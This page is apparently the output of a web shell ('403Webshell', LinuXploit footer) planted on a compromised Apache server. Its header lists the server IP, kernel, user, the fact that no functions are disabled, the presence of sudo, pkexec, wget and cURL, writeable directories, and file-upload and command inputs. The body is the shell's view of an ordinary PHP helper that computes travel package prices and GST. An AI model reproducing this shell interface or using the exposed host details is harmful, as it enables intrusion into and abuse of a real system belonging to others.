403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/library/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/library/Helper/DynamicPackage.php
<?php

/*
 * Catabatic Technology Pvt. Ltd.
 * File Name :DyanmicPackage.php
 * File Description :Package helper contains methods related to package
 * Created By : Pooja Choudhary
 * Created Date: 2-August-2017
 */

//$priceRateMaster = Zend_Controller_Action_HelperBroker::getStaticHelper('DynamicPackage')->getDynamicPackageRate($totaltraveller, $travelplandata[0],$marketwiseratebyo);

class Zend_Controller_Action_Helper_DynamicPackage extends Zend_Controller_Action_Helper_Abstract {
    /*
     * getTotlaCostOfHotelByTravelers. 
     * Created by Pooja on 2-August-2017
     * @param  array $hotelArray   hotel details
     * @param  array $roominfoarr  room info array
     * @return string (cost)
     */

    public function getTotlaCostOfHotelByTravelers($hotelArray, $roominfoarr) {
        $newcost = 0;
        for ($m = 1; $m <= count($roominfoarr); $m++) {

            if ($roominfoarr[$m]['Adult'] == 2) {
                $newcost = $newcost + $hotelArray['TotalCostDO'];
            }
            if ($roominfoarr[$m]['Adult'] == 1) {
                $newcost = $newcost + $hotelArray['TotalCostSO'];
            }

            $bedtype = $roominfoarr[$m]['bedtype'];
            if ($roominfoarr[$m]['Adult'] == 3) {
                if ($bedtype == "extrabed") {
                    $newcost = $newcost + $hotelArray['TotalCostExtraBed'] + $hotelArray['TotalCostDO'];
                } else {
                    $newcost = $newcost + $hotelArray['TotalCostWithoutBed'] + $hotelArray['TotalCostDO'];
                }
//                $newcost = $newcost + $hotelArray['TotalCostSO'] + $hotelArray['TotalCostDO'];
            }
            if ($roominfoarr[$m]['Child'] > 0) {
                if ($bedtype == "extrabed") {
                    $newcost = $newcost + $hotelArray['TotalCostExtraBed'];
                }
                if ($bedtype == "withoutbed") {
                    $newcost = $newcost + $hotelArray['TotalCostWithoutBed'];
                }
            }
        }

        return round($newcost);
    }

    //this function backedup by Amit for gst calculation on 30 August 2017 at 12:54 PM
    public function getDynamicPackageRate_bkp($travelers, $flexiPackageList, $marketwiseratebyo) {
        if (count($marketwiseratebyo) == 0) {
            $responseArray = array();
            $responseArray['availability'] = false;
            $jsonData = json_encode($responseArray);
        } else {
            $arrPkgCost = Zend_Controller_Action_HelperBroker::getStaticHelper('Package')->getDynamicPrivateRates($flexiPackageList, $marketwiseratebyo);

            $discount = $arrPkgCost['FinalDiscount'] + $arrPkgCost['ExtraDiscount'];

            $responseArray = array();
            $responseArray['availability'] = true;
            $responseArray['AdvBookingPercent'] = $arrPkgCost['AdvBookingPercent'];
            $responseArray['bookingAmount'] = $arrPkgCost['bookingAmount'];
            $responseArray['TotalPrice'] = $arrPkgCost['TotalPrice'];
            $responseArray['GrandTotal'] = $arrPkgCost['GrandTotal'];
            $responseArray['PricePerPax'] = round($arrPkgCost['GrandTotal'] / $travelers);
            $responseArray['DiscountedPrice'] = $discount;
            $responseArray['FinalMarkUp'] = $arrPkgCost['FinalMarkUp'];
            $responseArray['FinalCost'] = $arrPkgCost['FinalCost'];
            $responseArray['NetCost'] = $arrPkgCost['NetCost'];
            $responseArray['Tax'] = $arrPkgCost['Tax'];
            $jsonData = json_encode($responseArray);
        }
        return $jsonData;
    }

    //this function's backup already done by name getDynamicPackageRate_bkp
    public function getDynamicPackageRate($travelers, $flexiPackageList, $marketwiseratebyo, $gsttype = NULL) {
        if (count($marketwiseratebyo) == 0) {
            $responseArray = array();
            $responseArray['availability'] = false;
            $jsonData = json_encode($responseArray);
        } else {
            $arrPkgCost = Zend_Controller_Action_HelperBroker::getStaticHelper('Package')->getDynamicPrivateRates($flexiPackageList, $marketwiseratebyo);

            $discount = $arrPkgCost['FinalDiscount'] + $arrPkgCost['ExtraDiscount'];
            if (!empty($gsttype)) {
                //echo "<pre>";print_r($arrPkgCost);
                //calculate GST added by Er Amit Kumar Dubey on 17 august 2017 at 04:19 PM
                $GSTApplicableOn = $gsttype;
                $packageCost = ($arrPkgCost['NetCost']);
                $AgencyMarkUp = $arrPkgCost['FinalMarkUp'];
                $AgencyExtraMarkUp = $arrPkgCost['ExtraMarkup'];
                $AgencyDiscount = $arrPkgCost['ExtraDiscount'];
                $intProductType = 9;
                $intProductGeoType = 1; // 1 For Domestic, 2 For International


                $arrInputData = array(
                    "GSTApplicableOn" => $GSTApplicableOn,
                    "intProductType" => $intProductType,
                    "intProductGeoType" => $intProductGeoType,
                    "Cost" => $packageCost,
                    "AgencyMarkUp" => $AgencyMarkUp,
                    "AgencyExtraMarkUp" => $AgencyExtraMarkUp,
                    "AgencyDiscount" => $AgencyDiscount
                );


                $arrGSTCalculations = Zend_Controller_Action_HelperBroker::getStaticHelper("General")->calculateGST($arrInputData);
                $arrPkgCost['Tax'] = $arrGSTCalculations['GSTAmount'];
                $arrPkgCost['GrandTotal'] = ($arrGSTCalculations['AmountWithGST']);
                //$arrPkgCost['TotalPrice']=$arrGSTCalculations['AmountWithGST'];
                //$arrPkgCost['NetCost']=$arrGSTCalculations['AmountWithGST'];
                //echo "<pre>";print_r($arrGSTCalculations);die;
                //#end calculate GST
            }

            $responseArray = array();
            $responseArray['availability'] = true;
            $responseArray['AdvBookingPercent'] = $arrPkgCost['AdvBookingPercent'];
            $responseArray['bookingAmount'] = $arrPkgCost['bookingAmount'];
            $responseArray['TotalPrice'] = $arrPkgCost['TotalPrice'];
            $responseArray['GrandTotal'] = $arrPkgCost['GrandTotal'];
            $responseArray['PricePerPax'] = round($arrPkgCost['GrandTotal'] / $travelers);
            $responseArray['DiscountedPrice'] = $discount;
            $responseArray['FinalMarkUp'] = $arrPkgCost['FinalMarkUp'];
            $responseArray['FinalCost'] = $arrPkgCost['FinalCost'];
            $responseArray['NetCost'] = $arrPkgCost['NetCost'];
            $responseArray['Tax'] = $arrPkgCost['Tax'];
            //echo "<pre>";print_r($responseArray);die;
            $jsonData = json_encode($responseArray);
        }
        return $jsonData;
    }

    public function getTotalCostOfIncludedEvent($eventsList, $adult, $child, $totaltraveler) {
        $totalCost = 0;
        if(is_array($eventsList)){
            for ($i = 0; $i < count($eventsList); $i++) {
                $adultcost = $eventsList[$i]['Cost'];
                $kidscost = $eventsList[$i]['KidsCost'];
                $totalCost += ($adult * $adultcost) + ($child * $kidscost);
                $totalBaseCost += $eventsList[$i]['TotalBaseCost'];
            }
        }
        $eventsCostArray['TotalBaseCost'] = ($totalBaseCost);
        $eventsCostArray['PerPersonBaseCost'] = round($totalBaseCost / $totaltraveler);
        $eventsCostArray['TotalCost'] = round($totalCost);
        $eventsCostArray['PerPersonCost'] = round($totalCost / $totaltraveler);

        return $eventsCostArray;
    }

    public function getTotalCostOfIncludedSightseeing($sightseeingList, $adult, $child, $totaltraveler) {
        $totalCost = 0;
        if(is_array($sightseeingList)){
            for ($i = 0; $i < count($sightseeingList); $i++) {
                if((int)$sightseeingList[$i]['RouteVechSysId']>0){
                    $PPTotalPrice = $sightseeingList[$i]['TotalPrice'] / ($adult + $child);
                    $adultcost = $kidscost = $PPTotalPrice;
                }else{
                    $adultcost = $sightseeingList[$i]['Cost'];
                    $kidscost = $sightseeingList[$i]['KidsCost'];
                } 
                $totalCost += ($adult * $adultcost) + ($child * $kidscost);
                $totalBaseCost += $sightseeingList[$i]['TotalBaseCost'];
            }
        }
        $sightseeingCostArray['TotalBaseCost'] = ($totalBaseCost);
        $sightseeingCostArray['PerPersonBaseCost'] = round($totalBaseCost / $totaltraveler);
        $sightseeingCostArray['TotalCost'] = round($totalCost);
        $sightseeingCostArray['PerPersonCost'] = round($totalCost / $totaltraveler);

        return $sightseeingCostArray;
    }

    public function getTotalCostOfIncludedServices($ServicesList, $totaltraveler) {
        $totalCost = 0;
        if(is_array($ServicesList)){
        for ($j = 0; $j < count($ServicesList); $j++) {
            if ($ServicesList[$j]['RateType'] == 0) { //Fixed
                $totalServiceCost = $ServicesList[$j]['Cost'];
                $totalServiceBaseCost = $ServicesList[$j]['BaseCost'];
            } else { //Per Pax
                $totalServiceCost = $ServicesList[$j]['Cost'] * $totaltraveler;
                $totalServiceBaseCost = $ServicesList[$j]['BaseCost'] * $totaltraveler;
            }
            $totalCost = $totalCost + $totalServiceCost;
            $totalBaseCost = $totalBaseCost + $totalServiceBaseCost;
        }
        }
        $servicesCostArray['TotalBaseCost'] = ($totalBaseCost);
        $servicesCostArray['PerPersonBaseCost'] = round($totalBaseCost / $totaltraveler);
        $servicesCostArray['TotalCost'] = round($totalCost);
        $servicesCostArray['PerPersonCost'] = round($totalCost / $totaltraveler);

        return $servicesCostArray;
    }

    public function getTransportCost($getallPvtTransport, $totaltraveler) {
        
        $totalCarCost = $totalCarBaseCost = 0;
        $totalprivatecostperpersonwoc = 0;
        if(is_array($getallPvtTransport)){
        for ($m = 0; $m < count($getallPvtTransport); $m++) {
            if ($getallPvtTransport[$m]['TransType'] == 'car') { //currency conversion is implemented in car
                $totalCarCost = $totalCarCost + ($getallPvtTransport[$m]['TotalPrice'] * $getallPvtTransport[$m]['VehicleQty']);
                $totalCarBaseCost = $totalCarBaseCost + ($getallPvtTransport[$m]['TotalBasePrice'] * $getallPvtTransport[$m]['VehicleQty']);
            } else {
                if($getallPvtTransport[$m]['CostPerson'] > 0){
                    $CostPerson = $getallPvtTransport[$m]['CostPerson'];
                }else{
                    $CostPerson = $getallPvtTransport[$m]['TotalPrice']/$totaltraveler;
                }
                
                $totalprivatecostperpersonwoc = $totalprivatecostperpersonwoc + ($CostPerson * $getallPvtTransport[$m]['VehicleQty']);
            }
        }
        }
        
        $totalTransportCost = ($totalprivatecostperpersonwoc * $totaltraveler) + ($totalCarCost);
        
        $PvtTransportCostArray['TotalBaseCost'] = $totalCarBaseCost;
        $PvtTransportCostArray['PerPersonBaseCost'] = $totalCarBaseCost / $totaltraveler;
        $PvtTransportCostArray['TotalCost'] = $totalTransportCost;
        $PvtTransportCostArray['PerPersonCost'] = $totalTransportCost / $totaltraveler; 
        return $PvtTransportCostArray;
    }

    public function getGroupCarCost($getgroupwiseCarCost, $totaltraveler, $groupsize) {
        $groupsize = ($groupsize > 0 ) ? $groupsize : 1;
        $groupcostperperson = ($getgroupwiseCarCost[0]['TotalPrice']) / ($groupsize); // total price divide by defined group size;
        $grpCarCostArray['TotalCost'] = $groupcostperperson * $totaltraveler;
        $grpCarCostArray['PerPersonCost'] = $groupcostperperson;
        return $grpCarCostArray;
    }

    public function getGroupCarBaseCost($getgroupwiseCarCost, $totaltraveler, $groupsize) {
        $groupcostperperson = ($getgroupwiseCarCost[0]['TotalBaseCost']) / ($groupsize); // total price divide by defined group size;
        $grpCarCostArray['TotalBaseCost'] = $groupcostperperson * $totaltraveler;
        $grpCarCostArray['PerPersonBaseCost'] = $groupcostperperson;
        return $grpCarCostArray;
    }

    public function calculateCostForCostsheet($flexiPackageHotelList, $flexiPackageActivityResult, $flexiPackageSightseenResult, $getservicedetail, $getallPvtTransport, $getallGroupTransport, $getgroupwiseCarCost, $adultPax, $childPax, $PackageCostCalType, $flexiPackageList, $totalnight) {
         
        $PackageHelperObj = Zend_Controller_Action_HelperBroker::getStaticHelper('Package');
        $PackageCostCalType = $flexiPackageList['PackageCostCalType'];
        $groupsize = $flexiPackageList['GroupSize'];
        $tourtype = $flexiPackageList['TourType'];
        $totaltraveler = $adultPax + $childPax;
 
        $totalHotelCost = 0;
        foreach ($flexiPackageHotelList as $flexiPackageHotel) {
            $IsMealPlanType = ($PackageCostCalType) ? $flexiPackageHotel['MealPlanType'] : 0;
            $exchangerate = 1;
            if (isset($flexiPackageHotel['CurrencyType']) && $flexiPackageHotel['CurrencyType'] != 1) {
                $objPackage = new Travel_Model_TblPackage();
                $exchangerate = $objPackage->currencyExchangeRate($flexiPackageHotel['CurrencyType'], 1);
            }
            $totalHotelCost += $PackageHelperObj->convertRatetoBaseCurrency($flexiPackageHotel['TotalCost'],$exchangerate);
        }

        $flexiPackageActivityRates = $this->getTotalCostOfIncludedEvent($flexiPackageActivityResult, $adultPax, $childPax, $totaltraveler);
        $flexiPackageSightseenRates = $this->getTotalCostOfIncludedSightseeing($flexiPackageSightseenResult, $adultPax, $childPax, $totaltraveler);
        $serviceCost = $this->getTotalCostOfIncludedServices($getservicedetail, $totaltraveler);
        $pvtTransCostArr = $this->getTransportCost($getallPvtTransport, $totaltraveler); // car bus train
        $grpTransCostArr = $this->getTransportCost($getallGroupTransport, $totaltraveler); // bus train
        $grpCarCostArray = $this->getGroupCarCost($getgroupwiseCarCost, $totaltraveler, $groupsize); // groupCar
        $transportCostTotal = $pvtTransCostArr['TotalCost'];
        $transportCostPerPerson = $pvtTransCostArr['PerPersonCost'];
        $totalCost = array();
        $tourArray = ($tourtype == 3) ? array(1, 2) : array(1);

//             $totalCost[$TourId][$packagecategoryId][$mealPlanId]['TotalCost'] = 
                    $totalCost['TotalCost'] = $totalHotelCost + $flexiPackageActivityRates['TotalCost'] + $flexiPackageSightseenRates['TotalCost'] + $serviceCost['TotalCost'] + $transportCostTotal;
                    $totalCost['PerPersonCost'] = $totalHotelCost / $totaltraveler +
                            + $flexiPackageActivityRates['PerPersonCost'] + $flexiPackageSightseenRates['PerPersonCost'] + $serviceCost['PerPersonCost'] + $transportCostPerPerson;

         
        $responseArray['CostsheetRate'] = $totalCost;
        return $responseArray;
    }

    public function calculateCostForCostsheet_dynamicCurrency($flexiPackageHotelList, $flexiPackageActivityResult, $flexiPackageSightseenResult, $getservicedetail, $getallPvtTransport, $getallGroupTransport, $getgroupwiseCarCost, $adultPax, $childPax, $PackageCostCalType, $flexiPackageList, $totalnight) {
//                echo '<pre>'; print_r($flexiPackageActivityResult); echo '</pre>'; die;
        $PackageCostCalType = $flexiPackageList['PackageCostCalType'];
        $groupsize = $flexiPackageList['GroupSize'];
        $tourtype = $flexiPackageList['TourType'];
        $totaltraveler = $adultPax + $childPax;

        $newflexiPackageHotelRatesArr = array();
        foreach ($flexiPackageHotelList as $flexiPackageHotel) {
            $IsMealPlanType = ($PackageCostCalType) ? $flexiPackageHotel['MealPlanType'] : 0;
            $newflexiPackageHotelRatesArr[$flexiPackageHotel['BYOPackType']][$IsMealPlanType] += $flexiPackageHotel['TotalCost']; //base cost - converted cost
        }

        $flexiPackageActivityRates = $this->getTotalCostOfIncludedEvent($flexiPackageActivityResult, $adultPax, $childPax, $totaltraveler);
        $flexiPackageSightseenRates = $this->getTotalCostOfIncludedSightseeing($flexiPackageSightseenResult, $adultPax, $childPax, $totaltraveler);
        $serviceCost = $this->getTotalCostOfIncludedServices($getservicedetail, $totaltraveler);
        $pvtTransCostArr = $this->getTransportCost($getallPvtTransport, $totaltraveler); // car bus train
        $grpTransCostArr = $this->getTransportCost($getallGroupTransport, $totaltraveler); // bus train
        $grpCarCostArray = $this->getGroupCarBaseCost($getgroupwiseCarCost, $totaltraveler, $groupsize); // groupCar

        $totalCost = array();
        $tourArray = ($tourtype == 3) ? array(1, 2) : array(1);
//                    $newArrayWithTourType = array();
//                    if(!empty($PackageCostCalType)){
//                    foreach($tourArray as $TourId){
//                        $newArrayWithTourType[$TourId] = $PossibleCombinationsOfMealPlanArr;
//                    }
//                    }
        foreach ($newflexiPackageHotelRatesArr as $packagecategoryId => $newflexiPackageHotelRates) {
            foreach ($newflexiPackageHotelRates as $mealPlanId => $totalHotelCost) {
                foreach ($tourArray as $TourId) {
                    if ($TourId == 1) {
                        $transportCostTotal = $pvtTransCostArr['TotalBaseCost'];
                        $transportCostPerPerson = $pvtTransCostArr['PerPersonBaseCost'];
                    } else {
                        $transportCostTotal = $grpTransCostArr['TotalBaseCost'] + $grpCarCostArray['PerPersonBaseCost'];
                        $transportCostPerPerson = $grpTransCostArr['PerPersonBaseCost'] + $grpCarCostArray['PerPersonBaseCost'];
                    }
//             $totalCost[$TourId][$packagecategoryId][$mealPlanId]['TotalCost'] = 
                    $totalCost[$TourId][$packagecategoryId][$mealPlanId]['TotalCost'] = $totalHotelCost + $flexiPackageActivityRates['TotalBaseCost'] + $flexiPackageSightseenRates['TotalBaseCost'] + $serviceCost['TotalBaseCost'] + $transportCostTotal;
                    $totalCost[$TourId][$packagecategoryId][$mealPlanId]['PerPersonCost'] = $totalHotelCost / $totaltraveler +
                            + $flexiPackageActivityRates['PerPersonBaseCost'] + $flexiPackageSightseenRates['PerPersonBaseCost'] + $serviceCost['PerPersonBaseCost'] + $transportCostPerPerson;
                }
            }
        }


        /*    separate cost for hotel, activity, sightseeong,service, pvt transport(WC), group transport(WoC),Group car cost
         * $responseArray['HotelsRateTotal'] = $newflexiPackageHotelRatesArr;
          $responseArray['ActivityRate'] = $flexiPackageActivityRates;
          $responseArray['SightSeeingRate'] = $flexiPackageSightseenRates;
          $responseArray['ServiceCost'] = $serviceCost;
          $responseArray['pvtTransCostArr'] = $pvtTransCostArr;
          $responseArray['grpTransCostArr'] = $grpTransCostArr;
          $responseArray['groupcostperperson'] = $grpCarCostArray; */
        $responseArray['CostsheetRate'] = $totalCost;
        return $responseArray;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit